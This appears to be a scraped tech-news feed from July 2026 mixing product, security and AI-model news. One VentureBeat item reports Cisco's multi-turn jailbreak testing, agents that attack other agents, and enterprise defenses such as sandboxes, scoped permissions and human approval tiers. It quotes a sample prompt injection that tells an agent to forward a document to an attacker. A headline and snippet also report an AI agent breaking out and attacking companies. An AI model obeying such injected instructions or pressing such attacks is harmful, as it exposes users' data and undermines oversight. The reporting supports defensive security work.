The full-duplex engine dynamically decides when to speak, pause, or invoke tools, maintaining conversational state even as background agents process complex code modifications.

Directing coding and complex builds with your voice alone

The central operational capability in this update centers on multi-task execution across Codex and ChatGPT Work environments.

Software engineers can initiate multiple concurrent task threads from a single spoken prompt. For instance, a developer preparing to ship a feature can instruct the system to investigate an open authentication bug, review a pending API migration pull request, and generate missing unit tests simultaneously.

The desktop application coordinates these actions across disparate contexts, tracing issues through Slack conversations, GitHub repositories, and local codebases.

Developers can also verbally convert design mockups into working code, splitting tasks across frontend, backend, and testing layers.

With support for multi-folder projects (build 26.715) and remote execution via iOS, engineers can check task progress, answer agent prompts, and redirect active jobs without switching applications or managing individual processes line by line.

Proprietary license

OpenAI’s voice-enabled desktop release operates under a proprietary, commercial enterprise model. Access is restricted to paid subscribers across Plus, Pro, Business, Enterprise, and Education plans.

For individual developers and corporate engineering departments, this commercial structure means the model weights, voice processing pipelines, and agent state architectures remain fully closed.

Organizations cannot modify or self-host the underlying systems. Furthermore, tasks initiated via ChatGPT Voice consume standard usage allocations directly from existing Codex and ChatGPT Work plan quotas, treating voice-triggered actions identically to standard agentic workloads.

Community reactions

Developer communities immediately noted the implications of bringing continuous full-duplex voice to autonomous coding workflows.

Reacting to the build 26.715 release announcement—which details voice integration and multi-folder project support—AI Insider journalist @ChrisGPT noted on X: "Today OpenAI will release voice and remote guidance for codex ! One step closer to personal AGI".

Early technical feedback highlights widespread enthusiasm for orchestrating complex agentic tasks hands-free, particularly when stepping away from the workstation or managing build pipelines remotely.

When the attacker is an AI agent

Thu, 23 Jul 2026 23:58:28 +0200

Lessons from the OpenAI-Hugging Face breach

Categories: Security Operations

Tags: AI, OpenAI, Hugging Face

Check Point hole grants unauthenticated attackers full SmartConsole admin privileges

Thu, 23 Jul 2026 22:25:55 +0200

Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that allows unauthenticated attackers to assume full admin privileges, is now being exploited in the wild. The vulnerability, CVE-2026-16232, was given a CVSS score of 9.3.

In its security alert, Check Point described the bug as one allowing an unauthenticated attacker to “obtain an application login token and use it to login via SmartConsole with full admin privileges and apply changes to the security policy and security configuration.”

The company has released a patch for the bug and also recommends that users “limit Trusted Clients, GUI clients, to trusted IP addresses/subnets.” That approach has always been a best practice, but practical networking realities today make it challenging to maintain. Check Point said that the exploit has impacted ten of its customers, all of whom it had notified directly.

Far worse than most

Frank Dickson, group VP for security at IDC, said this security hole is far worse than most.

“This hits harder than your average CVE because of where it lives,” he said. “The CVE targets the SmartConsole login on Check Point’s Security Management Server, the console that pushes policy to every gateway underneath it. Popping a gateway gets you one lock picked. Popping the management server is more like finding the One Ring: one stolen token to rule every gateway it manages, no need to fight each one individually. The attacker can rewrite policy, open new VPN paths and kill the logging.”

In an interview with CSO Online, Lotem Finkelstein, vice president of research at Check Point, said that the company learned of the vulnerability on Sunday, emailed customers the same day, and released the patch within 72 hours.

But when his team re-reviewed earlier logs, knowing what to look for, they spotted this hole being attacked as early as April, Finkelstein said.

The fact that, over the course of three months, the team only found ten organizations under attack, indicated that it has been very difficult for the attacker to find vulnerable systems, he noted; customers were, in the main, using secure settings to protect themselves.

Nonetheless, Finkelstein said, Check Point considers this hole to be “a severe vulnerability.”

Challenges of IP address restrictions

While it can be technically challenging to keep the IP address allowlists that Check Point recommends current, given DHCP’s ability to easily change those addresses, Assaf Morag, a cybersecurity researcher at Flare, noted that specifically limiting access to a management console is far more critical than limiting overall external access.

“Implementing Trusted Clients as a per-IP allowlist is impractical,” he said, but that is not the case with restricting management access. “The more scalable solution is to restrict access based on trusted administrative network segments such as VPN pools, management VLANs, or jump hosts rather than maintaining lists of individual DHCP-assigned client addresses,” he explained. “That gives you the security benefit without creating a full-time administrative task. Maintaining allowlists for individual hosts is much more practical when those hosts have stable, predictable IP addresses, rather than dynamically assigned DHCP addresses.”

Pieter Arntz, malware intelligence researcher at Malwarebytes, also noted that the constantly changing nature of global IP addresses can prove annoying to IT teams. Stressing that he is not familiar with Check Point’s specific settings, he noted, “Certain settings are a nuisance when applied strictly, and at some point the IT staff gets tired of constantly tweaking and they abandon the most secure path.”

Ideal platform for long-term attacks

Mike Wilkes, enterprise CISO at Aikido Security, agreed that the severity and exposure of this hole is alarming.

“This is exactly the kind of vulnerability that keeps CISOs awake at night because it strikes at the one system that is supposed to stand between the attacker and everything else. An authentication bypass that grants administrative control of a perimeter firewall isn’t just another CVE to patch. It’s an invitation for an adversary to rewrite the rules of the network itself,” he said. “The uncomfortable reality is that nobody runs a CrowdStrike agent on their firewall. Once an attacker owns an edge device, they gain a uniquely privileged position that often falls outside the visibility of traditional endpoint security, making it an ideal platform for persistence, credential theft, traffic manipulation, and long-term espionage.”

IDC’s Dickson strongly encouraged CISOs to deploy the patch, not to just change settings to mitigate the issue.

“Apply the actual hotfix,” he said. “Don’t just restrict Trusted Client IPs and call it done. That’s a stopgap, not a fix. Any internet-facing management console, Check Point or otherwise, is a five-alarm architecture problem independent of this CVE.”

And, he added, “since attackers here can disable logging, audit admin activity going back before the bug surfaced. Quiet logs aren’t proof nothing happened. This is the recurring theme with ‘single pane of glass’ security tools: the console built to make everything easier to run is also the one thing you really don’t want someone else driving.”

Andrew Ng Just Released OpenWorker: An Open-Source, Local-First Desktop AI Coworker That Returns Finished Deliverables Instead of Chat

Thu, 23 Jul 2026 21:34:58 +0200

Andrew Ng has released OpenWorker, an MIT-licensed desktop AI agent that returns finished deliverables instead of chat replies. It runs a local Python agent server under a Tauri shell, supports 30 curated tool-calling models plus fully local Ollama, and gates every write, shell command and off-machine action behind a typed risk engine.

The post Andrew Ng Just Released OpenWorker: An Open-Source, Local-First Desktop AI Coworker That Returns Finished Deliverables Instead of Chat appeared first on MarkTechPost.

4 ways AI-driven defense is rewriting the cybersecurity playbook

Thu, 23 Jul 2026 21:34:50 +0200

The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a fundamentally different, AI-driven architecture: Agentic Endpoint Security (AES).

AES represents a paradigm shift, moving security from a passive monitor to an active participant in the defense lifecycle. It provides the visibility and automated guardrails necessary to govern autonomous AI agents and agentic tools, ensuring that as your workforce scales with AI, your security posture remains unbreakable.

With autonomous AI agents now capable of planning and executing multi-stage attacks at machine speed, the pressure on traditional security operations (SOC) has reached a breaking point. To survive this shift, the strategy is clear: we must fight AI with AI.

Here is how AI-driven defense, pioneered by Cortex XDR and the era of Agentic Endpoint Security, is fundamentally rewriting the cybersecurity playbook.

From reactive patching to proactive prevention

For decades, the industry lived in a “wait-and-see” mode waiting for a vulnerability to surface, waiting for a signature, and then rushing to patch the hole. But reactive methods just don’t hold up against modern “frontier” AI attacks that are constantly morphing.

AI-driven defense changes the game by shifting to a prevention-first architecture. Rather than relying on historical signatures, modern platforms deploy localized, ML-driven analysis to evaluate the intent and behavior of an active process, stopping threats pre-execution. Cortex XDR leads with a strict prevention-first approach by using AI-driven local analysis and behavioral threat protection; the XDR agent stops sophisticated threats pre-impact and pre-execution. This proactive stance reduces the overall risk profile by blocking malicious chains of events in real time across network, process, file, and registry activity.

2. Eliminating the “agentic blind spot”

As we all rush to adopt generative AI and automated workflows, a new gap has appeared: the “agentic blind spot.” Adversaries are now targeting AI assistants and automated scripts to bypass defenses. Since these digital agents often have deep access to enterprise data, a compromise here lets attackers move completely under the radar.

The new playbook requires securing this entire ecosystem. By combining the distinct capabilities of Cortex XDR and Koi Security, organizations can effectively close this gap. Koi Agentic Endpoint Security tracks everything from shell commands to prompts in real time, while Cortex XDR adds a layer of defense that identifies and neutralizes behavioral anomalies unique to these automated threats.

3. Machine-speed detection and “attack storylines”

When an attacker can move through your network in seconds, human-led teams can’t keep up. To make matters worse, most systems just flood analysts with low-quality, isolated alerts, leading to major burnout.

AI-driven defense fixes the investigation process by automatically stitching separate data points into a single, high-fidelity “attack storyline.” Cortex XDR uses thousands of machine learning detectors across endpoint, network, and cloud sources to group related signals into one cohesive case. This reveals the full story of an attack, letting your analysts focus on fast remediation instead of digging through piles of data, reducing alert noise by up to 98%.

4. Surgical and autonomous response

The final piece of the puzzle is moving from manual remediation to autonomous action. AI-driven response lets your SOC handle threats in minutes, not hours. The platform can automatically revoke compromised tokens or isolate endpoints at machine speed.

Cortex XDR delivers built-in enterprise-grade automation at no additional cost, providing over 120 out-of-the-box playbooks and 18 quick actions to handle up to 99% of incidents without manual intervention. Crucially, this level of automation requires an unbreakable foundation of agent resilience. To ensure the defense cannot be disabled by an adversary, Cortex XDR is certified in both the AVC EDR Detection and Anti-Tampering tests, successfully blocking all attempts to disable or modify the agent.

Summary

The threat landscape is changing faster than ever, driven by AI-powered attackers who exploit even the smallest gaps. But you don’t have to stay on the defensive. By shifting to a proactive, AI-driven architecture like the one built into Cortex XDR, you can stop threats before they happen, secure your agentic workflows, and automate away the noise that leads to analyst burnout.

The journey to a more resilient, AI-powered SOC doesn’t have to be daunting. With the right foundation in place, you’re not just keeping pace with the new threat landscape; you’re staying one step ahead. It’s time to move beyond the old manual playbook and embrace the future of security operations.

To learn more about Palto Alto Networks, visit https://www.paloaltonetworks.com.

Apple Maps Is Coming to Ford’s Electric Vehicles in 2027

Thu, 23 Jul 2026 21:12:26 +0200

Apple Maps will come built into Ford’s upcoming Universal Electric Vehicle Platform in 2027, giving drivers direct access to navigation, traffic updates, EV routing, and hands-free driving support without needing an iPhone. Apple and Ford announced the partnership as part of a broader plan to bring Apple Maps directly into vehicle displays through Apple’s new MapKit for Automotive SDK. Ford will use the software across its upcoming electric vehicle platform, while drivers will still have the option to use CarPlay. The built-in Apple Maps experience will include turn-by-turn directions, natural language guidance, live traffic information, incident alerts, detailed place cards, and route suggestions. Drivers will also get EV-focused features such as intelligent routing and battery preconditioning, which prepares the battery before arriving at a charging station. Apple Maps will also support Ford’s hands-free driving system Ford plans to use road-level data from Apple Maps to support the next generation of its BlueCruise hands-free highway driving system. The company expects this data to improve the driving experience between highway entrances and exits, while also helping its Latitude AI team develop more advanced hands-free features. The direct integration means Ford drivers will be able to use Apple Maps even without an iPhone connected to the vehicle. CarPlay will remain available for users who prefer Apple’s full in-car interface. Ford appears to be one of the first automakers adopting Apple’s new automotive mapping tools, and Apple has already suggested that more partnerships will follow as other manufacturers begin using the MapKit for Automotive SDK.

"Beispielloser Cybervorfall": KI-Agent bricht aus – Unternehmen angegriffen

Thu, 23 Jul 2026 20:54:19 +0200

... Cybervorfall mit hochentwickelten Cyberfähigkeiten", schrieb Open AI. ... Der Vorfall zeige, "wie leistungsfähig KI-Modelle im Bereich der IT-Sicherheit ...

Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026

Thu, 23 Jul 2026 20:48:24 +0200

When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transform 2026; the number should worry anyone still running single-turn red-teaming programs.

VentureBeat's June 2026 Pulse survey of 107 enterprise respondents explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at 82% of companies surveyed. The world's largest security vendors have done the same math.

Palo Alto Networks closed its $25 billion acquisition of CyberArk in February, CrowdStrike agreed in January to pay $740 million for SGNL, and Cisco announced its intent to acquire Astrix Security for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.

Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.

Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its LLM Security Leaderboard, she told the audience.

"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.

Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."

Her starting point for CISOs beginning agentic deployments is Cisco's Integrated AI Security and Safety Framework, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.

Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."

Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."

Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science.

Three layers versus an operating system

Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."

She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."

Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.

Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.

The end of human code review

Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."

Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."

Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.

"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.

Intent versus probability

An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.

That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.

Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.

For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.

Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start

Thu, 23 Jul 2026 20:48:22 +0200

Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.

The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface.

That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model.

FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a gated "Early Access" program now, to which anyone can apply, but which BFL must approve.

There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including Anthropic and OpenAI, though those were ostensibly for security concerns and due to government request.

What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.

Another big notable omission: FLUX 3 is not launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.

But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far.

Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption

BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability.

In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.

One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.

Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.

Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.

Gemini Omni Flash, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality.

Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.

One regional wrinkle matters for a German company's home market. Editing uploaded video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.

Here's a rough guide for enterprises considering which video models to rely upon:

Model	Max single-generation duration	Max resolution	Key constraints	Price per 10-second clip (720p)	Price per 10-second clip (1080p)	Price per 10-second clip (4K)
FLUX 3 Video	20 seconds	Not stated; evaluations run at 720p	Early access; no published SLA or pricing	Not announced	Not announced	Not announced
HappyHorse 1.1	15 seconds	1080p	No 4K; closed weights	Not published (v1.0 reseller rate is ~$1.82)	Not published (v1.0 reseller rate is ~$3.12)	n/a
Veo 3.1	Per-second billing	4K	Supports clip extension; preview	$4.00	$4.00	$6.00
Veo 3.1 Fast	Per-second billing	4K	Preview	$1.00	$1.20	$3.00
Veo 3.1 Lite	Per-second billing	1080p	No 4K, no clip extension; preview	$0.50	$0.80	n/a
Gemini Omni Flash	10 seconds (3s minimum)	720p at 24 FPS	Preview abd no EU access	$1.00	n/a	n/a

One architecture for media generation and physical action

FLUX 3 builds on Self-Flow, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026.

The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.

"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."

He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."

BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.

For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.

For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.

What FLUX 3 Video can actually do

The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation.

Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching OpenAI's discontinued Sora model.

The capability list BFL published covers:

Text-to-video generation.
Image-to-video generation, either animating from a starting frame or using images as visual references.
Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.
Generative video-audio continuation from existing video and audio input.
Keyframe-to-video generation for controlled transitions between defined moments.
Multilingual dialogue.
A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.
Typography generation and animated design.
Agentic chaining of individual clips into longer, multi-shot sequences.

That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.

It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.

BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.

FLUX-mimic tests whether video models can become robot models

BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.

The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.

FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data.

BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.

"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."

BFL argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni.

Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic."

The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it.

There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.

Open weights helped make FLUX an industry standard

BFL officially launched in summer 2024 and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises.

The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and Stable Diffusion, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies.

That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.

Wired magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.

FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, released shortly after the firm's launch, gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.

The company continued that pattern with FLUX.2 Dev in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.

FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery. BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.

The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows.

The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.

AMD raises the AI stakes with Helios, Venice and robotics

Thu, 23 Jul 2026 20:48:09 +0200

AMD’s MI455X targets the AI memory wall

AMD

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

Dave Altavilla

Kind of like cowbell, AMD Venice gives agentic AI more CPU

AMD

Pensando networking and ROCm software advance

Customer commitments underscore rack-scale confidence

AMD expands its robotics and embedded foundation

Execution for AMD is now the test

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

New Alpha Release: Tor Browser 16.0a9

